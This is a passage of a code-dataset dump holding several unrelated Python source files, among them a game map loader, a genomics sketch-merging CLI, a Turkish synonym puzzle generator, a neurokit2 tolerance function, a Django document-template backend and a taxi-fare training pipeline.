self.song = None\n\n def load_area(self):\n # loads up the area starting position and room\n # This comes from the text file that comes with each area folder\n self.area_data = load_area(os.path.join('data', 'areas', self.name + '.txt'))\n self.menu_name = self.area_data[0]\n self.current_room = self.area_data[1]\n self.player_pos = self.area_data[2]\n self.song = self.area_data[3]\n g.current_area = self.name\n if self.song[0] == 'None':\n fade_black(1500)\n else:\n fade_out(1500)\n play_music(self.song[0], self.song[1], 0.7)\n\n def load_room(self):\n \"\"\" loads up initial map images rects, map grids and door positions\"\"\"\n # first load image name and door info froom .doors file\n self.doors = load_doors(\n os.path.join(\n 'data', 'areas', self.name, str(\n self.current_room)+'.doors'))\n # load the room image\n self.image = load_jpg(os.path.join('data', 'areas', 'images', self.doors[0][0]))\n self.rect = self.image.get_rect()\n # get rid of the room image name leaving just the door positions\n self.doors.pop(0)\n # load the room map, 0's and 1's\n self.room_map = [\n i.strip().split() for i in open(\n os.path.join('data',\n 'areas',\n self.name,\n str(self.current_room)+'.txt'))]\n if not self.room_change:\n # this is run if the map is being initiated for the first time\n # It positions the map image so that the player lands in the right place\n self.rect.left = -self.player_pos[0]+g.xsize/2\n self.rect.top = -self.player_pos[1]+g.ysize/2\n\n def change_rooms(self, player, current_time, bottom, right):\n # IF you walk to a door this changes rooms\n if self.next_update_time > current_time:\n for door in self.doors:\n # Check if player collides with a door\n if collision_door(player, door, self, 40):\n # stores room which player came from: for repositioning player\n came_from = self.current_room\n # used for updating objects\n self.room_change = True\n # sets the current room\n self.current_room = door[0]\n self.load_room()\n player.charged = False\n\n # reposition player and map if the room changes\n for door in self.doors:\n if door[0] == came_from:\n player.going = False\n player_face_door(player, door)\n fade_black(200)\n self.rect.left = player.rect.center[0] - door[1]\n self.rect.top = player.rect.center[1] - door[2]\n break\n\n # check every 50 miliseconds\n self.next_update_time = current_time + 50\n\n\nclass World_map(Area_map):\n\n \"\"\" The world is just a list of the area names\n It inherits the class Area_map as this is used for the current area\n This allows for each area to be loaded only when its needed\"\"\"\n\n def __init__(self):\n self.areas = [] # list of the areas. Just has names\n self.current_area = None\n self.area_names = None\n self.chests = {}\n self.texts = {}\n\n def load_areas(self):\n # loads up a list of are names.\n # Only used to set the current are atm.\n self.area_names = open(os.path.join('data', 'areas.txt'))\n for name in self.area_names:\n name = name.strip().split()\n self.areas.append(name[0])\n self.current_area = self.areas[0]\n\n def load_chests(self):\n \"\"\" Loads up a list of chests for each area dictionaried to the area_name\n Note, number of rooms in one area is limited to 30 by the length of the chest array\"\"\"\n for name in self.areas:\n self.chests[name] = [[], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], []]\n # Scroll true areas containing chests\n for area_name in os.listdir(os.path.join('data', 'chest')):\n # check for room folders\n for room_dir in os.listdir(os.path.join('data', 'chest', area_name)):\n for files in os.listdir(os.path.join('data', 'chest', area_name, room_dir)):\n self.chests[area_name][int(room_dir)].append(False)\n\n def load_texts(self):\n \"\"\" Loads up a list of text objects for each area which can only be interacted with once\n Note, number of rooms in one area is limited to 30 by the length of the chest array\"\"\"\n for name in self.areas:\n self.texts[name] = [[], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], [],\n [], [], [], [], [], [], []]\n # Scroll true areas containing chests\n for area_name in os.listdir(os.path.join('data', 'text')):\n # check for room folders\n for room_dir in os.listdir(os.path.join('data', 'text', area_name)):\n for files in os.listdir(os.path.join('data', 'text', area_name, room_dir)):\n self.texts[area_name][int(room_dir)].append(False)\n\n def load_all(self):\n self.load_areas()\n self.load_chests()\n self.load_texts()\n\n def load_current_area(self):\n # loads current area\n Area_map.__init__(self, self.current_area)\n Area_map.load_area(self)\n Area_map.load_room(self)\n\n def change_rooms(self, player, current_time, bottom, right):\n # change rooms\n Area_map.change_rooms(self, player, current_time, bottom, right)\n\n def change_area(self, new_area):\n # change area if new areas name is given\n self.current_area = new_area\n self.load_current_area()\n","sub_path":"maps.py","file_name":"maps.py","file_ext":"py","file_size_in_byte":8638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"392236876","text":"import click\r\nimport os\r\nimport pandas\r\nimport logging\r\n\r\nfrom pathlib import Path\r\nfrom sketchy.utils import run_cmd, PoreLogger\r\n\r\n\r\n@click.command()\r\n@click.option(\r\n '--sketch', '-s', type=Path, required=True,\r\n help='Path to sketch file to parse indices from '\r\n)\r\n@click.option(\r\n '--features', '-f', type=Path, required=True,\r\n help='Path to genotype feature file to merge indices with sketch'\r\n)\r\n@click.option(\r\n '--key', '-k', type=Path, required=False,\r\n help='Legacy key file to translate UUIDs [dep.]'\r\n)\r\n@click.option(\r\n '--index_column', '-i', type=str, default='idx',\r\n help='Feature index column to merge indices on [idx]'\r\n)\r\n@click.option(\r\n '--mash_column', '-m', type=str, default='ids',\r\n help='Mash index column to merge indices on [ids]'\r\n)\r\n@click.option(\r\n '--prefix', '-p', type=str, default='sketchy.info',\r\n help='Prefix for output file: {prefix}.tsv [sketchy]'\r\n)\r\n@click.option(\r\n '--verbose', '-v', is_flag=True,\r\n help='Enable verbose output for merge operations'\r\n)\r\ndef merge(sketch, features, key, prefix, index_column, mash_column, verbose):\r\n\r\n \"\"\" Merge sketch and feature data by common indices \"\"\"\r\n\r\n pl = PoreLogger(level=logging.INFO if verbose else logging.ERROR).logger\r\n\r\n pl.info(f'Extracting data from sketch: {sketch}')\r\n run_cmd(f'mash info -t {sketch} > {prefix}.mashinfo', shell=True)\r\n\r\n pl.info(f'Reading and converting data indices from sketch')\r\n converters = {'id': lambda x: Path(x).stem}\r\n mash_info = pandas.read_csv(\r\n f'{prefix}.mashinfo',\r\n sep='\\t',\r\n header=None,\r\n skiprows=1,\r\n index_col=0,\r\n engine='c',\r\n usecols=[2],\r\n names=['id'],\r\n converters=converters,\r\n )\r\n\r\n pl.info(f'Assigning sequential indices to index column: `idx`')\r\n mash_info['idx'] = [i for i in range(len(mash_info))]\r\n mash_info['ids'] = mash_info.index.tolist()\r\n\r\n nsketch = len(mash_info)\r\n\r\n pl.info(f'Ordered merge on column {index_column} with feature file {features}')\r\n d = pandas.read_csv(features, sep='\\t')\r\n\r\n ndata = len(d)\r\n\r\n print(mash_info)\r\n print(d)\r\n\r\n mash_info = d.merge(\r\n mash_info, left_on=index_column, right_on=mash_column, how='inner'\r\n )\r\n pl.info('Merged data and sketch information')\r\n if 'idx_y' in mash_info.columns:\r\n mash_info = mash_info.drop(columns=\"idx_x\")\r\n mash_info = mash_info.rename(columns={'idx_y': 'idx'})\r\n\r\n if 'ids_y' in mash_info.columns:\r\n mash_info = mash_info.drop(columns=[\"ids_y\"])\r\n\r\n if \"ids_x\" in mash_info.columns:\r\n mash_info = mash_info.drop(columns=[\"ids_x\"])\r\n\r\n mash_info = mash_info.sort_values('idx')\r\n mash_info.index = mash_info['idx']\r\n mash_info = mash_info.drop(columns='idx')\r\n\r\n if key is not None:\r\n key_table = pandas.read_csv(\r\n key, sep='\\t', header=0\r\n )\r\n mash_info = mash_info.merge(\r\n key_table, left_on='ids', right_on='uuid'\r\n )\r\n mash_info.drop(columns=['uuid', 'fasta'], inplace=True)\r\n mash_info.rename(columns={'id': 'key'}, inplace=True)\r\n\r\n print(mash_info)\r\n pl.info(f'Writing merged feature index to: {prefix}.tsv')\r\n mash_info.to_csv(\r\n f'{prefix}.tsv',\r\n sep='\\t',\r\n header=True,\r\n index=True,\r\n )\r\n\r\n pl.info(f'Merged sketch data ({nsketch}) and feature data ({ndata})')\r\n pl.info(f'Final sketch and feature size is {len(mash_info)}')\r\n pl.info(f'Removed features not present in sketch: {len(mash_info) - ndata}')\r\n pl.info(f'Removing temporary file {prefix}.mashinfo')\r\n os.remove(f'{prefix}.mashinfo')\r\n","sub_path":"sketchy/terminal/feature/merge/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"159414373","text":"import os, random\n\n\nclass Synonym:\n\n _CSV_FOLDER = \"data\"\n _CSV_FILE_NAME = \"esanlamlilar.csv\"\n _MIN_SYNONYM_LEN = 3\n\n _UNWANTED_PREFIX = {\n \"mak\",\n \"mek\",\n \"lık\",\n \"lik\"\n }\n\n def __init__(self):\n self._attempted_words = {}\n self._dictionary = {}\n self._file_lines = []\n self._max_read = 0\n self._puzzles = {}\n\n def execute(self, max_read=0) -> {}:\n self._max_read = max_read\n self._load_csv()\n self._build_dictionary()\n self._generate_puzzles()\n return self._puzzles\n\n def _build_dictionary(self):\n for file_line in self._file_lines:\n main_word_pos = -1\n\n while main_word_pos+1 < len(file_line):\n main_word_pos += 1\n main_word = file_line[main_word_pos]\n if main_word not in self._dictionary:\n self._dictionary[main_word] = []\n pos = 0\n for word in file_line:\n if pos != main_word_pos:\n self._dictionary[main_word].append(word)\n pos += 1\n\n tmp_dict = self._dictionary.copy()\n self._dictionary = {}\n\n for word in tmp_dict:\n if len(tmp_dict[word]) == 0:\n continue\n self._dictionary[word] = list(set(tmp_dict[word]))\n\n def _generate_puzzles(self):\n read_count = 0\n for file_line in self._file_lines:\n read_count += 1\n if (self._max_read > 0) and (read_count > self._max_read):\n return\n\n for word in file_line:\n if word in self._attempted_words or word == \"\":\n continue\n self._attempted_words[word] = True\n\n subwords = self._get_subwords(word)\n if subwords is None or len(subwords) <= 0:\n continue\n\n puzzle = self._get_best_encryption_of_subwords(subwords)\n if puzzle is None or puzzle[\"encrypted\"] == \"\":\n continue\n\n self._puzzles[word] = puzzle\n\n def _get_best_encryption_of_subwords(self, subwords: []) -> {}:\n candidates = []\n\n for subword in subwords:\n puzzle = self._get_best_encryption_of_word(subword)\n if puzzle is None or puzzle[\"encrypted\"] == \"\" or puzzle[\"replacement\"] == 0:\n continue\n candidates.append(puzzle)\n\n if len(candidates) == 0:\n return None\n\n candidates.sort(key=lambda x: x[\"replacement\"], reverse=True)\n return candidates[0]\n\n def _get_best_encryption_of_word(self, word: str) -> {}:\n output = {\n \"encrypted\": \"\",\n \"replacement\": 0,\n \"hint\": \"\"\n }\n\n frags = word.split(\" \")\n\n for frag in frags:\n rev_frag = frag[::-1]\n\n if frag in self._dictionary:\n candidates = self._dictionary[frag]\n if len(candidates) == 0:\n output[\"encrypted\"] += frag\n output[\"hint\"] += \" \" + frag\n else:\n rnd_index = random.randint(0, len(candidates)-1)\n output[\"encrypted\"] += candidates[rnd_index]\n output[\"hint\"] += \" \" + candidates[rnd_index]\n output[\"replacement\"] += abs(len(frag) - len(output[\"encrypted\"]))\n elif rev_frag in self._dictionary:\n candidates = self._dictionary[rev_frag]\n if len(candidates) == 0:\n output[\"encrypted\"] += frag\n output[\"hint\"] += \" \" + frag\n else:\n rnd_index = random.randint(0, len(candidates)-1)\n output[\"encrypted\"] += candidates[rnd_index][::-1]\n output[\"hint\"] += \" \" + candidates[rnd_index][::-1]\n output[\"replacement\"] += abs(len(frag) - len(output[\"encrypted\"]))\n else:\n output[\"encrypted\"] += frag\n output[\"hint\"] += \" \" + frag\n\n while output[\"hint\"][:1] == \" \":\n output[\"hint\"] = output[\"hint\"][1:len(output[\"hint\"])]\n\n return output\n\n def _get_split_list(self, word: str, span1: int, span2: int) -> []:\n output = []\n part1 = word[:span1]\n part2 = word[-span2:]\n split_word = part1 + \" \" + part2\n output.append(split_word)\n\n sub1 = self._get_subwords(part1)\n sub2 = self._get_subwords(part2)\n\n for s1 in sub1:\n for s2 in sub2:\n split_word = s1 + \" \" + s2\n output.append(split_word)\n\n return output\n\n def _get_subwords(self, word: str) -> []:\n output = []\n\n span = len(word)\n\n while span > 2:\n span -= 1\n span2 = len(word) - span\n output += self._get_split_list(word, span, span2)\n if span != span2:\n output += self._get_split_list(word, span2, span)\n\n return list(set(output))\n\n def _get_words_in_line(self, line: str) -> []:\n output = []\n tmp = line.split(\",\")\n for word in tmp:\n if len(word) >= self._MIN_SYNONYM_LEN:\n output.append(word)\n return output\n\n def _load_csv(self):\n self._file_lines = []\n\n csv_path = os.path.join(os.getcwd(), self._CSV_FOLDER, self._CSV_FILE_NAME)\n with open(csv_path) as f:\n tmp_lines = f.read().splitlines()\n\n for line in tmp_lines:\n new_line = line.replace(\";\", \",\")\n new_line = new_line.replace(\", \", \",\")\n new_line = new_line.replace(\" ,\", \"\")\n if \" \" in new_line:\n continue\n\n words = self._get_words_in_line(new_line)\n file_line = []\n for word in words:\n if len(word) > 3 and word[-3:] in self._UNWANTED_PREFIX:\n continue\n\n file_line.append(word)\n\n if len(file_line) == 0:\n continue\n\n self._file_lines.append(file_line)\n","sub_path":"synonym.py","file_name":"synonym.py","file_ext":"py","file_size_in_byte":6146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"579148552","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 18 13:47:07 2016\n\n@author: givoltage\n\"\"\"\n\nimport os\nfrom astropy.io import fits\nfrom astropy.io import ascii\nimport numpy as np\n#from astropy.table import Table, Column\nfrom photutils import detect_sources, source_properties, properties_table\nimport glob\n\n# get labels of hot pixels from master bias and master dark\n# pixel label, x coord, y coord, master bias, sd, master dark, sd, master object, sd, \n\ndatasetDir = r'C:\\Users\\givoltage\\Downloads\\20160718'\npath_pattern = os.path.join(datasetDir, '*.fit*')\npaths = glob.glob(path_pattern)\n\nexptime = np.arange(0.1,1.1,0.1)\npixels = [[1345, 1248], \n [ 345, 1735], \n [2079, 100], \n [ 286, 2422],\n [2248, 1354], \n [2843, 414],\n [ 476, 989]]\ndict = {'exptime': exptime}\nfor i in range(len(pixels)):\n dict[i] = []\n\nfor path in paths:\n data = fits.open(path)[0].data\n for i in range(len(pixels)):\n x = pixels[i][0]\n y = pixels[i][1]\n value = data[y,x]\n print(path)\n print(pixels[i])\n print('value: ' + repr(value))\n dict[i].append(value)\nprint(dict)\n\n#segm_bias = detect_sources(m_bias, 1300, npixels=1)\n#segm_dark = detect_sources(m_dark, 520, npixels=1)\n#\n#props_bias = source_properties(m_bias, segm_bias)\n#props_dark = source_properties(m_dark, segm_dark)\n#\n## propsTableColumns = ['id', 'xcentroid', 'ycentroid', 'max_value', 'min_value','source_sum']\n#table_bias = properties_table(props_bias)\n#table_dark = properties_table(props_dark)\n#\n#ascii.write(table_bias, 'table_bias.csv', format = 'csv')\n#ascii.write(table_dark, 'table_dark.csv', format = 'csv')\n##log_bias = open('labels_bias.log', 'w')\n##log_dark = open('labels_dark.log', 'w')\n##\n##log_bias.write(log_bias_text)\n##log_dark.write(log_dark_text)\n##\n##log_bias.close()\n##log_dark.close()","sub_path":"pd_fpc_analyses_of_parker/lbl_testing/exptimeanalysis.py","file_name":"exptimeanalysis.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"34305549","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 3 11:51:14 2018\r\n\r\nCENTRO UNIVERSITÁRIO METODISTA IZABELA HENDRIX\r\nPROGRAMAÇÃO FUNCIONAL OO - PYTHON\r\nProjeto Integrador - Atividade 08 - DESAFIO\r\n@author: Nelson de Campos Nolasco\r\n\"\"\"\r\n\r\nfrom crianca import Crianca\r\nfrom crianca import Pegador\r\n\r\ncrianca1 = Crianca('Nelson', 8)\r\ncrianca2 = Crianca('Toninho', 9)\r\ncrianca3 = Pegador('Haroldinho', 10)\r\n\r\n# Qual o nome e idade de vocês?\r\nprint('Meu nome é ' + crianca1.nome + ' e eu tenho ' + str(crianca1.idade) + ' anos.')\r\nprint('Meu nome é ' + crianca2.nome + ' e eu tenho ' + str(crianca2.idade) + ' anos.')\r\nprint('Meu nome é ' + crianca3.nome + ' e eu tenho ' + str(crianca3.idade) + ' anos.')\r\n\r\n# Qual de vocês é o pegador?\r\nprint(crianca1.pegador)\r\nprint(crianca2.pegador)\r\nprint(crianca3.pegador)\r\n\r\n## É hora do play:\r\ncrianca2.correr()\r\ncrianca3.correr()\r\n\r\ncrianca3.pegar(crianca2)\r\ncrianca2.correr()\r\ncrianca3.pegar(crianca2)\r\ncrianca1.salvar(crianca2)\r\ncrianca1.correr()\r\ncrianca1.salvar(crianca2)\r\ncrianca1.salvar(crianca2)\r\ncrianca3.salvar(crianca1)\r\n","sub_path":"jogo.py","file_name":"jogo.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"410313619","text":"# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom .entropy_approximate import entropy_approximate\n\n\ndef complexity_tolerance(\n signal, method=\"maxApEn\", r_range=None, delay=None, dimension=None, show=False\n):\n \"\"\"Automated selection of the optimal tolerance (r) parameter for entropy measures\n\n The tolerance r is essentially a threshold value by which to consider two points as similar.\n This parameter has a critical impact and is a major source of inconsistencies in the literature.\n\n Parameters\n ----------\n signal : Union[list, np.array, pd.Series]\n The signal (i.e., a time series) in the form of a vector of values.\n method : str\n If 'maxApEn', different values of tolerance will be tested and the one where ApEn is\n maximized will be selected and returned. If 'sd' (as in Standard Deviation),\n r = 0.2 * standard deviation of the signal will be returned.\n r_range : Union[list, int]\n Only used if ``method='maxApEn'``. The range of tolerance values to test.\n If an integer, will be set to ``np.linspace(0.02, 0.8, r_range) * np.std(signal, ddof=1)``.\n If ``None``, will be set to ``40``. You can set a lower number for faster results.\n delay : int\n Only used if ``method='maxApEn'``. See ``entropy_approximate()``.\n dimension : int\n Only used if ``method='maxApEn'``. See ``entropy_approximate()``.\n show : bool\n If true and method is 'maxApEn', will plot the ApEn values for each value of r.\n\n See Also\n --------\n entropy_approximate, complexity_delay, complexity_dimension\n\n Returns\n ----------\n float\n The optimal tolerance value.\n dict\n A dictionary with the values of r and the corresponding ApEn values (when method='maxApEn').\n\n Examples\n ----------\n >>> import neurokit2 as nk\n >>>\n >>> signal = nk.signal_simulate(duration=2, frequency=5)\n >>>\n >>> # Fast\n >>> r, info = nk.complexity_tolerance(signal, method = 'SD')\n >>> r\n 0.07072836242007384\n >>>\n >>> # Slow\n >>> r, info = nk.complexity_tolerance(signal, delay=8, dimension=6, method = 'maxApEn', show=True)\n >>> r #doctest: +SKIP\n 0.014145672484014769\n >>>\n >>> # Narrower range\n >>> r, info = nk.complexity_tolerance(signal, delay=8, dimension=6, method = 'maxApEn',\n ... r_range=np.linspace(0.002, 0.1, 30), show=True)\n >>>\n\n\n References\n -----------\n - Lu, S., Chen, X., Kanters, J. K., Solomon, I. C., & Chon, K. H. (2008). Automatic selection of\n the threshold value r for approximate entropy. IEEE Transactions on Biomedical Engineering,\n 55(8), 1966-1972.\n \"\"\"\n # Method\n method = method.lower()\n if method in [\"traditional\", \"sd\", \"std\"]:\n r = 0.2 * np.std(signal, ddof=1)\n info = {\"Method\": method}\n elif method in [\"maxapen\", \"optimize\"]:\n r, info = _optimize_tolerance_maxapen(\n signal, r_range=r_range, delay=delay, dimension=dimension, show=show\n )\n if show is True:\n _optimize_tolerance_plot(r, info[\"Values\"], info[\"Scores\"])\n info.update({\"Method\": method})\n return r, info\n\n\n# =============================================================================\n# Internals\n# =============================================================================\ndef _optimize_tolerance_maxapen(signal, r_range=None, delay=None, dimension=None, show=False):\n\n # Optimize missing parameters\n if delay is None or dimension is None:\n raise ValueError(\"If method='maxApEn', both delay and dimension must be specified.\")\n\n if r_range is None:\n r_range = 40\n if isinstance(r_range, int):\n r_range = np.linspace(0.02, 0.8, r_range) * np.std(signal, ddof=1)\n\n ApEn = np.zeros_like(r_range)\n for i, r in enumerate(r_range):\n ApEn[i], _ = entropy_approximate(\n signal, delay=delay, dimension=dimension, tolerance=r_range[i]\n )\n\n return r_range[np.argmax(ApEn)], {\"Values\": r_range, \"Scores\": ApEn}\n\n\ndef _optimize_tolerance_plot(r, r_range, ApEn, ax=None):\n\n if ax is None:\n fig, ax = plt.subplots()\n else:\n fig = None\n ax.set_title(\"Optimization of Tolerence Threshold (r)\")\n ax.set_xlabel(\"Tolerence threshold $r$\")\n ax.set_ylabel(\"Approximate Entropy $ApEn$\")\n ax.plot(r_range, ApEn, \"o-\", label=\"$ApEn$\", color=\"#80059c\")\n ax.axvline(x=r, color=\"#E91E63\", label=\"Optimal r: \" + str(np.round(r, 3)))\n ax.legend(loc=\"upper right\")\n\n return fig\n","sub_path":"neurokit2/complexity/optim_complexity_tolerance.py","file_name":"optim_complexity_tolerance.py","file_ext":"py","file_size_in_byte":4585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"606791832","text":"\n\n#calss header\nclass _CIRCUMSTANCE():\n\tdef __init__(self,): \n\t\tself.name = \"CIRCUMSTANCE\"\n\t\tself.definitions = [u'a fact or event that makes a situation the way it is: ', u'events that change your life, over which you have no control: ', u'how much money someone has: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_circumstance.py","file_name":"_circumstance.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"362072255","text":"from django.conf import settings\nfrom django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nfrom arcane_codex.api import api as ac_api\nfrom core.api import api as core_api\n\nfrom core import views as core_views\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'rpg_tools.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^api/', include(ac_api.urls)),\n url(r'^api/', include(core_api.urls)),\n\n url(r'^$', core_views.index, name='index'),\n url(r'^core/login-background/', core_views.random_login_background, name='random-login-background'),\n url(r'^login$', 'django.contrib.auth.views.login', {'template_name': 'base.html'}),\n url(r'^logout$', 'django.contrib.auth.views.logout_then_login', {'login_url': '/login'}, name='logout'),\n)\n\nif settings.DEBUG:\n urlpatterns += patterns('django.contrib.staticfiles.views',\n url(r'^static/(?P.*)$', 'serve'),\n )\n","sub_path":"backend/rpg_tools/rpg_tools/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"299595803","text":"from django.db import models\nfrom conf.mysettings import MINIO_PORT\n\nfrom django.contrib.auth.models import (\n BaseUserManager, AbstractBaseUser, PermissionsMixin\n)\n\n\nclass BackendUserManager(BaseUserManager):\n def create_user(self, email, name, password=None):\n \"\"\"\n Creates and saves a User with the given email, date of\n birth and password.\n \"\"\"\n if not name:\n raise ValueError('Users must have an name')\n\n user = self.model(\n email=self.normalize_email(email),\n name=name,\n )\n\n user.set_password(password)\n user.save(using=self._db)\n return user\n\n def create_superuser(self, email, name, password):\n \"\"\"\n Creates and saves a superuser with the given email, date of\n birth and password.\n \"\"\"\n user = self.create_user(\n email,\n password=password,\n name=name,\n )\n user.is_superuser = True\n user.save(using=self._db)\n return user\n\n\n# 自定制admin后台管理员\nclass BackendUser(AbstractBaseUser, PermissionsMixin):\n name = models.CharField(max_length=64, verbose_name=\"用户名\", unique=True)\n email = models.EmailField(\n verbose_name='邮件',\n max_length=255,\n blank=True,\n null=True\n )\n\n is_api = models.BooleanField(default=False, verbose_name=\"API用户\")\n is_active = models.BooleanField(default=True) # 决定是否可以登录后台\n is_staff = models.BooleanField(default=True) # 决定是否可以登录后台\n\n objects = BackendUserManager()\n USERNAME_FIELD = 'name'\n REQUIRED_FIELDS = ['email']\n\n def get_full_name(self):\n # The user is identified by their email address\n return self.name\n\n def get_short_name(self):\n # The user is identified by their email address\n return self.name\n\n @property\n def token(self):\n return self._generate_jwt_token()\n\n def _generate_jwt_token(self):\n import jwt\n import datetime\n from BuildDocx.settings import SECRET_KEY\n user_info = {\n 'iat': datetime.datetime.utcnow(),\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=1),\n 'username': self.name,\n 'sub': self.pk,\n 'admin': self.is_superuser,\n }\n token = jwt.encode(user_info, SECRET_KEY, algorithm='HS256')\n\n return token.decode('utf-8')\n\n def __str__(self): # __unicode__ on Python 2\n return self.name\n\n class Meta:\n verbose_name_plural = \"后台管理员\"\n\n\nclass Template(models.Model):\n class Meta:\n verbose_name = '模板'\n verbose_name_plural = '模板'\n\n TEMPLATE_STATUS = (\n ('DISABLED', '已禁用'),\n ('ENABLED', '已启用'),\n )\n\n uid = models.SmallIntegerField(\n default=0,\n db_index=True,\n verbose_name='唯一编号',\n help_text='[uid] 模板唯一编号, 应该在上传模板前就确定'\n )\n name = models.CharField(\n max_length=255,\n default='无',\n blank=True,\n verbose_name='名称',\n help_text='[name] 模板名称'\n )\n\n bucket = models.CharField(\n max_length=64,\n default='templates',\n blank=True,\n verbose_name='所在容器',\n help_text='[bucket] 对象存储中, 本模板所在的容器. 默认为 templates'\n )\n prefix = models.CharField(\n max_length=255,\n blank=True,\n null=True,\n verbose_name='文件前缀',\n help_text='[prefix] 对象存储中, 模板各文件的前缀'\n )\n tpl = models.CharField(\n max_length=255,\n blank=True,\n null=True,\n verbose_name='模板文件名',\n help_text='[tpl] 对象存储中, 模板文件名'\n )\n raw = models.CharField(\n max_length=255,\n blank=True,\n null=True,\n verbose_name='模板原始文档文件名',\n help_text='[raw] 对象存储中, 模板原始文档文件名'\n )\n feed = models.CharField(\n max_length=255,\n blank=True,\n null=True,\n verbose_name='模板 JSON 格式文件名',\n help_text='[feed] 对象存储中, 模板 JSON 格式文件名'\n )\n sample = models.CharField(\n max_length=255,\n blank=True,\n null=True,\n verbose_name='模板渲染示例',\n help_text='[sample] 对象存储中, 模板渲染示例文件的文件名'\n )\n\n status = models.CharField(\n default='ENABLED',\n max_length=32,\n choices=TEMPLATE_STATUS,\n verbose_name='模板状态',\n help_text='[status] 模板状态'\n )\n\n created = models.DateTimeField(\n auto_now_add=True,\n verbose_name='创建时间',\n help_text='[created] 模板创建时间'\n )\n\n # 最后一次修改时间\n last_modified = models.DateTimeField(\n auto_now=True,\n verbose_name='最后一次修改时间',\n help_text='[last_modified] 模板最后一次修改时间'\n )\n\n def __str__(self):\n return '{}-{}[{}]'.format(self.uid, self.name, self.get_status_display())\n\n\nclass Doc(models.Model):\n class Meta:\n verbose_name = '生成的文书'\n verbose_name_plural = '生成的文书'\n\n name = models.CharField(\n max_length=255,\n null=True,\n blank=True,\n verbose_name='名称',\n help_text='[name] 文书名称, 默认为模板名称, 当有副标题时, 名称是 \"模板名称(副标题)\"'\n )\n\n bucket = models.CharField(\n max_length=64,\n blank=True,\n null=True,\n verbose_name='所在容器',\n help_text='[bucket] 对象存储中, 本文书所在的容器'\n )\n path = models.CharField(\n max_length=255,\n blank=True,\n null=True,\n verbose_name='路径',\n help_text='[path] 对象存储中, 本文书的路径 (包含文件名)'\n )\n pdf_path = models.CharField(\n max_length=255,\n blank=True,\n null=True,\n verbose_name='PDF 路径',\n help_text='[pdf_path] 对象存储中, 本文书 PDF 文件的路径 (包含文件名)'\n )\n\n template = models.ForeignKey(\n to=Template,\n on_delete=models.SET_NULL,\n null=True,\n blank=True,\n verbose_name='对应模板',\n help_text='[template] 文书对应的模板',\n )\n uid = models.SmallIntegerField(\n default=0,\n db_index=True,\n verbose_name='对应模板的 uid',\n help_text='[uid] 文书对应模板的 uid',\n )\n\n created = models.DateTimeField(\n auto_now_add=True,\n verbose_name='创建时间',\n help_text='[created] 文书创建时间'\n )\n\n last_modified = models.DateTimeField(\n auto_now=True,\n verbose_name='最后一次修改时间',\n help_text='[last_modified] 文书最后一次修改时间'\n )\n\n @property\n def url(self):\n return 'http://{}/{}/{}'.format(MINIO_PORT, self.bucket, self.path)\n\n def _get_pdf_url(self):\n return 'http://{}/{}/{}'.format(MINIO_PORT, self.bucket, self.pdf_path)\n\n @property\n def pdf_url(self):\n return self._get_pdf_url()\n\n def __str__(self):\n return '{}-{}'.format(self.bucket, self.name)\n","sub_path":"backend/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"282914977","text":"import pandas as pd\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\n\nfrom TaxiFareModel.encoders import DistanceTransformer, TimeFeaturesEncoder\nfrom TaxiFareModel.utils import compute_rmse\nfrom TaxiFareModel.data import get_data, clean_data\n\n\nclass Trainer:\n def __init__(self,X_train,y_train):\n self.X_train=X_train\n self.y_train=y_train\n\n def set_pipeline(self):\n # create distance pipeline\n dist_pipe = Pipeline([\n ('dist_trans', DistanceTransformer()),\n ('stdscaler', StandardScaler())\n ])\n\n #create time pipeline\n time_pipe = Pipeline([\n ('time_enc', TimeFeaturesEncoder('pickup_datetime')),\n ('ohe', OneHotEncoder(handle_unknown='ignore'))\n ])\n\n #create preproc pipeline\n preproc_pipe = ColumnTransformer([\n ('distance', dist_pipe, [\"pickup_latitude\", \"pickup_longitude\", 'dropoff_latitude',\n 'dropoff_longitude']),\n ('time', time_pipe, ['pickup_datetime'])\n ], 